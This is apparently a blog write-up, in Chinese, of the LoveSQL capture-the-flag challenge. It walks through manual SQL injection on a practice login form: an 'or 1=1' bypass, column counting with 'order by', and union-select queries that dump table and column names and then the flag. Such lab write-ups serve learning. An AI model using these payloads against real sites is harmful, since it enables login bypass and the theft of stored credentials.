[极客大挑战 2019]LoveSQL

image-20210617231933977

跟之前做的那个题是一个系列的

上面有行小字,用sqlmap是没有灵魂的

那就先跑一下

python sqlmap.py -u http://bdd3d89b-dbe9-4007-80d2-adda82dff8e5.node3.buuoj.cn/ --dbs

image-20210617232637135

未果,可能是因为我太菜了吧

那就尝试一下上一次的万能密码

1' or 1=1#

image-20210617232306756

那就开始常规sql注入吧

测字段

1' order by 3#

image-20210617232719512

1' order by 4#

image-20210617232745327

说明有3个字段

开始查询数据库

1' union select 1,database(),3#

image-20210617232910672

接下来 查询表明列名省略了

以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。

username=1&password=123                //显示 NO,Wrong username password!!!
username=1'&password=123            //报错
username=1'#&password=123            //显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123    //显示 Login Success!Hello admin!Your password is 'xxx'

开始尝试order by猜字段数
username=1' order by 4#&password=123    //显示 Unknown column '4' in 'order clause'
username=1' order by 3#&password=123    //显示 NO,Wrong username password,说明有3个字段

开始爆库、爆表、爆列、爆字段
username=1' union select 1,2,3#&password=123            //显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' union select 1,database(),3#&password=123    //得到库名“geek”
username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123    //得到表名“geekuser,l0ve1ysq1”
username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=123    //得到列名“id,username,password”
username=1' union select 1,group_concat(password),3 from l0ve1ysq1#&password=123    //得到flag

最后的结果看不清楚,查看源码即可

image-20210617233255260

image-20210617233233445

最后修改:2021 年 06 月 17 日 11 : 34 PM
如果觉得我的文章对你有用,请随意赞赏